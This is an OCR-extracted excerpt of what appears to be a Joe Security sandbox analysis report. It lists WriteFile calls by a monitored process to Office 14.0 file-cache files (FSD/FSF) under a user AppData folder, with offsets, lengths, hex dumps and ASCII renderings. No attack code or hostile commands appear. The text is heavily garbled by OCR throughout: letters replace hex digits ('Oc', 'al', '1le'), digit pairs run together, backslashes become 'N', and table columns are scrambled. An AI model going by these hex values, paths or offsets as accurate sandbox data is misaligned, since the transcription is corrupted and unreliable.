00 00 00 00 07 58 22 Oc

fd 19 fd 02 1b fd 13 4e fd

fd 7d 20 3d 4d fd 01 05

Count Source Address

1

1

1

4

4

TFEEE917A59

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

Page 45 of 62



File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-CNRY.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSF-{OE1EEE64-E8C6-4E2A-9759-

63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSF-{OE1EEE64-E8C6-4E2A-9759-

63CF07FD8988}.FSF

Copyright Joe Security LLC 2022

Offset

2804

16640

1648

16680

0

16

Length Value

448 05 fd 00 fd 6d 07 11 fd fd
fd 5b 7a 43 fd 42 fd 2c fd
Oe 09 4f 63 01 00 00 00
01 02 00 09 00 00 00 00
00 00 00 fd fd fd fd fd fd
fd fd 00 00 00 00 05 fd 00
fd 7e 07 Of fd fd fd 5b 7a
43 fd 42 fd 2c fd Oe 09 4f
63 02 00 00 00 01 06 00
0a 00 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd fd 07 Of
fd fd fd 5b 7a 43 fd 42 fd
2c fd Oe 09 4f 63 03 00
00 00 01 06 00 Ob 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd fd 07 11 fd fd fd
5b 7a 43 fd 42 fd 2c fd Oe
09 4f 63 04 00 00 00 01
06 00 Oc 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd fd
07 09 fd fd fd 5b 7a 43 fd
42 fd 2c fd Oe 09 4f 63 06
00 00 00 01 02 00 0d 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
05 fd 00 fd fd

40 10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01 00 00 00 cb fd fd

32 11 00 00 00 10 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 62 fd 2e fd

32 11 00 00 00 10 00 00 00
12 00 00 00 06 00 00 00
13 00 00 00 04 00 00 00
01 00 00 00 fd fd fd fd

512 Oc fd 91 fd 1b fd 4d fd 65

Ascii

m[zCB,0Oc~
[zCB,0c[zCB,Oc[zCB,0Oc
[zCB,Oc

b.

MeFyz GI-MS,XFFaqgS-

46 79 fd fd fd 7a fd fd fd fd 10B/8L.=KIAEXXXX

04 1e 20 47 fd Oa 49 2d
fd fd 09 4d 53 2c fd fd fd
58 fd 46 fd fd 14 46 61 f5
71 05 00 00 00 05 00 00
00 05 00 00 00 05 00 00
00 fd fd fd fd fd fd fd fd 00
00 00 00 75 53 fd 00 2d
fd 49 fd fd 6f 42 fd a3 Ob
00 00 00 00 00 00 00 fd
2f 13 fd 38 07 fd 4c fd 2e
3d 4b 21 fd Oa fd 00 41
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
00 45 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 15 00
00 00 00 00 00 00 fd 06
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

16 fd fd 48 al fd 40 fd 06 fd
fd62 fd 12 71

2 Oc 00

H@bq

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

3 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
N\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

Copyright Joe Security LLC 2022

Offset

18

76

512

Length Value

1

512

40

65024

18

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 6d 68
fd fd 4a fd 37 4e 5b 2c 53
fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 2f 33 fd 1c fd
45 fd fd fd 2f 37 fd 78 Ob
00 00 00 00 00 00 00 4a
fd 00 59 fd 75 fd 46 fd 7d
63 7e le 4c fd fd 50 3e
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
50 42 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd 0f 12 00
00 00 00 00 00 00 2b 04
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

fd fd 2f 33 fd 1c fd 45 fd fd
fd 2f 37 fd 78 Ob 00 00 00
00 00 00 00 4a fd 00 59
fd 75 fd 46 fd 7d 63 7e 1le
4c fd fd

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 7cfd 75 2d fd 75 fd 41
fd fd fd 57 22 55 40 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00

Ascii

MeFyzmJ7N[,SS,XFFaq/
3E/7xJYuF}
Cc~LP>PBxxxx+

13E/7xJYuF}c~L

zVvV
@pGsqQ9Ga gbpG|u-
UAW"U

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
2 TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 512 1024
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi 1536 16
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi 0 512
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
N\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi 76 40
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

Copyright Joe Security LLC 2022

Length Value

fd fd fd fd fd 7a 56 fd 10
00 00 00 00 00 00 00 01
20 00 fd 40 01 00 02 02
7000 fd 47 03 00 02 73
fd 71 2b 51 39 47 fd fd 61
60 fd fd 71 62 01 00 00
00 02 70 00 fd 47 05 00
02 7cfd 75 2d fd 75 fd 41
fd fd fd 57 22 55 40 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00

10 00 00 00 00 00 00 00
01 00 00 00 d5 02 50

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 6d 68
fd fd 4a fd 37 4e 5b 2c 53
fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 2f 33 fd 1c fd
45 fd fd fd 2f 37 fd 78 Ob
00 00 00 00 00 00 00 4a
fd 00 59 fd 75 fd 46 fd 7d
63 7e le 4c fd fd 50 3e
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
50 42 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 12 00
00 00 00 00 00 00 2b 04
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

Ascii

zVvV
@pGsqQ9Ga gbpG|u-
UAW"U

MeFyzmJ7N[,SS,XFFag/
3E/7xJYuF}
Cc~LP>PBxxxx+

fd fd 2f 33 fd 1c fd 45 fd fd /3E/7xJYuF}c~L

fd 2f 37 fd 78 Ob 00 00 00
00 00 00 00 4a fd 00 59
fd 75 fd 46 fd 7d 63 7e le
4c fd fd

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1

1

1

1

TFEEE917A59

7TFEEE917A59

7TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

Copyright Joe Security LLC 2022

Offset

2560

2576

1552

Length Value

4096 fd fd fd fd fd 7a 56 fd 11
00 00 00 00 00 00 00 03
10 fd fd 05 fd 00 fd 40 03
07 fd 0f 59 5f fd fd 4b fd
fd 56 4e fd 13 fd 39 01 00
00 00 01 05 00 01 00 00
00 00 00 00 00 fd fd fd fd
fd fd fd fd 00 00 00 00 05
fd 00 fd 47 07 10 fd fd fd
2d 29 fd 61 4c fd fd fd 66
fd 1e 20 01 00 00 00 01
06 00 03 00 00 00 00 00
00 00 fd fd fd fd fd fd fd fd
00 00 00 00 05 fd 00 fd
57 07 Ob fd 32 fd fd fd 4a
fd 46 fd 60 fd fd fd 20 fd
Ob 01 00 00 00 01 07 00
04 00 00 00 00 00 00 00
fd fd fd fd fd fd fd fd 00 00
00 00 05 fd 00 fd 62 07
Ob fd fd fd 68 fd fd 36 4c
fd fd fd 5c fd 3f fd 2f 01
00 00 00 01 07 00 07 00
00 00 00 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
07 60 fd fd fd 32 fd fd fd
4a fd 46 fd 60 fd fd fd 20
fd Ob 01 00 00 00 05 fd
00 fd 6d 07 11 fd fd 42 2d

4 03 10 fd fd

24 10 00 00 00 01 00 00 00
11 00 00 00 01 00 00 00
01 00 00 00 68 fd fd 28

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 6d 68
fd fd 4a fd 37 4e 5b 2c 53
fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 2f 33 fd 1c fd
45 fd fd fd 2f 37 fd 78 Ob
00 00 00 00 00 00 00 4a
fd 00 59 fd 75 fd 46 fd 7d
63 7e le 4c fd fd 50 3e
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
50 42 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 12 00
00 00 00 00 00 00 2b 04
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

Ascii

ZV@Y_KVN9G-)aLf
W2JF bh6L\?/' 2JF" mB-

h(

MeFyzmJ7N[,SS,XFFag/
3E/7xJYuF}
Cc~LP>PBxxxx+

Completion

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
2 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSF-{OE1EEE64-E8C6-4E2A-9759-
63CF07FD8988}.FSF

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

Copyright Joe Security LLC 2022

Offset

0

16

18

20

21

113

76

6656

Length Value

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 6d 68
fd fd 4a fd 37 4e 5b 2c 53
fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 2f 33 fd 1c fd
45 fd fd fd 2f 37 fd 78 Ob
00 00 00 00 00 00 00 4a
fd 00 59 fd 75 fd 46 fd 7d
63 7e le 4c fd fd 50 3e
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
50 42 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd 0f 12 00
00 00 00 00 00 00 2b 04
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

16 fd fd 48 al fd 40 fd 06 fd
fd 62 fd 12 71

2 Oc 00

2 18 fd

1 5d

92 46 00 53 00 44 00 2d 00
7b 00 37 00 34 00 46 00
320042 00 31 00 37 00

38 00 2d 00 30 00 30 00
41 00 45 00 2d 00 34 00
32 00 34 00 46 00 2d 00
38 00 33 00 45 00 37 00
2d 00 42 00 41 00 35 00
39 00 39 00 45 00 38 00
32 00 38 00 32 00 35 00
34 00 7d 00 2e 00 46 00

Ascii

MeFyzmJ7N[,SS,XFFaq/
3E/7xJYuF}
c~LP>PBxxxx+

H@bq

FSD-{74F2B178-00AE-
424F-83E7-B
A599E828254}.FSD

53 00 44 00
1 05
40 fd fd 2f 33 fd 1c fd 45 fd fd /3E/7xJYuF}c~L

fd 2f 37 fd 78 Ob 00 00 00
00 00 00 00 4a fd 00 59
fd 75 fd 46 fd 7d 63 7e le
4c fd fd

51 fd 36 27 fd fd 17 41 fd fd
7b 67 06 fd 13 0d 03 00
02 00 fd 00 40 20 1a fd fd
fd 7f fd 1d 41 fd fd 1d 47
fa 48 fd 0a 03 00 00 3e
03 00 00 fd 01 49

6A{g@ AGH>I

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7TFEEE917A59
1 7FEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
\FSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-
BA599E828254}.FSD

Copyright Joe Security LLC 2022

Offset

6712

2580

1576

76

Length Value

4096

50

32

512

40

fd fd fd fd fd 7a 56 fd 12
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd Of 59
5f fd fd 4b fd fd 56 4e fd
13 fd 39 01 00 00 00 02
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 01 00
00 00 06 00 fd fd 32 fd fd
fd 4a fd 46 fd 60 fd fd fd
20 fd Ob 01 00 00 00 05
00 00 00 00 00 00 00 fd
3b 04 02 fd 65 66 48 fd fd
6b 06 13 58 fd 2c 03 00
00 00 06 00 fd fd fd fd 68
fd fd 36 4c fd fd fd 5c¢ fd 3f
fd 2f 01 00 00 00 08 00
00 00 00 00 00 00 fd 3b
04 02 fd 65 66 48 fd fd 6b
06 13 58 fd 2¢ 03 00 00
00 06 00 fd fd 48 fd 3b 5b
1a Oa 4f fd fd fd 32 fd 4f fd
2301 00 00 00 0d 00 00
00 00 00 00 00 fd 3b 04
02 fd 65 66 48 fd fd 6b 06
13 58 fd 2c 03 00 00 00
06 00 fd Ob fd 4b fd fd 63
fd 4d fd 75 20 2b 2f 65 23
01 01 00 00 00 11 00 00

05 fd 00 fd 40 03 07 fd Of
59 5f fd fd 4b fd fd 56 4e
fd 13 fd 39 01 00 00 00
01 05 00 01 00 00 00 00
00 00 00 fd fd fd fd fd fd
fd fd 00 00 00 00

10 00 00 00 02 00 00 00
11 00 00 00 02 00 00 00
12 00 00 00 02 00 00 00
01 00 00 00 fd 3a 61 fd

Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 6d 68
fd fd 4a fd 37 4e 5b 2c 53
fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 2f 33 fd 1c fd
45 fd fd fd 2f 37 fd 78 Ob
00 00 00 00 00 00 00 4a
fd 00 59 fd 75 fd 46 fd 7d
63 7e le 4c fd fd 50 3e
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
50 42 00 00 00 00 00 00
00 02 00 00 00 00 00 00
00 04 00 00 00 00 02 00
00 00 00 00 04 00 00 00
fd 78 fd Of fd 78 fd Of fd
78 fd Of fd 78 fd Of 12 00
00 00 00 00 00 00 2b 04
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00

fd fd 2f 33 fd 1c fd 45 fd fd
fd 2f 37 fd 78 Ob 00 00 00
00 00 00 00 4a fd 00 59
fd 75 fd 46 fd 7d 63 7e le
4c fd fd

Ascii

ZVY_KVN9;efHkX,2JF"
;efHkX,h6L\?/;efHkX,H;
[020#;efHkX,KcMu +/e#

@Y_KVN9

MeFyzmJ7N[,SS,XFFag/
3E/7xJYuF}
Cc~LP>PBxxxx+

[3E/7xIYuF}c~L

Completion

success or wait

success or wait

success or wait

success or wait

success or wait

Count Source Address

1

3

1

1

1

TFEEE917A59

TFEEE917A59

7TFEEE917A59

TFEEE917A59

7TFEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path Offset

C:\Users\user\AppData\Local\Mi 10808
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi 14904
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi 15032
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi 10824
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi 1608
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage
NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

Copyright Joe Security LLC 2022

Length Value

4096 fd fd fd fd fd 7a 56 fd 13
00 00 00 00 00 00 00 03
10 fd fd 06 00 fd fd fd fd
2d 29 fd 61 4c fd fd fd 66
fd 1e 20 01 00 00 00 06
00 00 00 00 00 00 00 30
fd fd 4d fd 4d 43 4f fd 59
fd 1c fd 70 06 65 01 00
00 00 06 00 fd 17 fd fd fd
6c 45 19 48 fd fd fd 11 03
fd fd 01 00 00 00 Oe 00
00 00 00 00 00 00 fd 72
00 46 7c fd fd 49 fd fd fd
fd 67 fd fd 44 01 00 00 00
06 20 fd fd fd fd 42 2d 2b
be 4e fd fd 59 fd fd fd fd
6a 03 00 00 00 0Of 00 00
00 00 00 00 00 fd fd 84 fd
fd 0d 4a fd fd 52 Oc 77 fd
707301 00 00 00 fd 61
59 le fd 7d fd 4e fd 20 2d
fd 38 fd fd fd 01 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00

122 ea 69 49 01 Oc 56 Oc fd fd
fd 2d 29 fd 61 4c fd fd fd
66 fd 1e 20 fd 52 5b fd 4e
00 aa 44 fd 38 08 fd fd fd
62 24 01 00 00 00 00 00
00 00 05 60 20 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 38 66 14
fd fd 84 fd fd 0d 4a fd fd
52 0c 77 fd 70 73 Oc fd fd
84 fd fd 0d 4a fd fd 52 Oc
77 fd 70 73 Oc fd 61 59
le fd 7d fd 4e fd 20 2d fd
38 fd fd fd 05

81 3e 03 00 00 54 07 00 00
00 fd 54 27 Oc fd fd fd 2d
29 fd 61 4c fd fd fd 66 fd
1e 20 79 00 6a 03 00 00
58 53 51 fd fd 84 fd fd 0d
4afd fd 52 Oc 77 fd 70 73
01 00 00 00 fd 61 59 1e
fd 7d fd 4e fd 20 2d fd 38
fd fd fd 01 00 00 00 fd fd
01

56 03 10 fd fd 06 00 fd fd fd
fd 2d 29 fd 61 4c fd fd fd
66 fd 1e 20 01 00 00 00
06 00 00 00 00 00 00 00
30 fd fd 4d fd 4d 43 4f fd
59 fd 1c fd 70 06 65 01
00 00 00

40 10 00 00 00 03 00 00 00
11 00 00 00 06 00 00 00
12 00 00 00 04 00 00 00
13 00 00 00 02 00 00 00
01000000 75 75 fd fd

Ascii

zV-)aLf
OMMCOY pelEHrF|IgD B-
+NYjJRwpsaY}N -8

iIV-)aLf RIND8b$*
8fJRwpsJRwpsaY}N -8

>TT'-)aLf
YiXSQJRwpsaY}N -8

-)aLf OMMCOYpe

uu

Completion Count Source Address
success or wait 1 7FEEE917A59
success or wait 1 7FEEE917A59
success or wait 2 7FEEE917A59
success or wait 4 7FEEE917A59
success or wait 1 7FEEE917A59

Symbol

WriteFile

WriteFile

WriteFile

WriteFile

WriteFile
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File Path

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

C:\Users\user\AppData\Local\Mi
crosoft\Office\14.0\OfficeFile
Cache\LocalCacheFileEditManage

NFSD-{74F2B178-00AE-424F-83E7-

BA599E828254}.FSD

Copyright Joe Security LLC 2022

Offset

0

76

15208

15344

15552

Length Value

512 Oc fd 91 fd 1b fd 4d fd 65
46 79 fd fd fd 7a fd 6d 68
fd fd 4a fd 37 4e 5b 2c 53
fd fd 53 2c fd fd fd 58 fd
46 fd fd 14 46 61 f5 71 05
00 00 00 05 00 00 00 05
00 00 00 05 00 00 00 fd
fd fd fd fd fd fd fd 00 00
00 00 fd fd 2f 33 fd 1c fd
45 fd fd fd 2f 37 fd 78 Ob
00 00 00 00 00 00 00 4a
fd 00 59 fd 75 fd 46 fd 7d
63 7e le 4c fd fd 50 3e
00 00 00 00 00 00 00 04
00 00 02 00 00 00 fd fd fd
fd fd fd fd fd 00 00 00 00
00 00 00 00 00 00 00 00
50 42 00 00 00 00 00 00
00 02 00 00 00 00 00 00
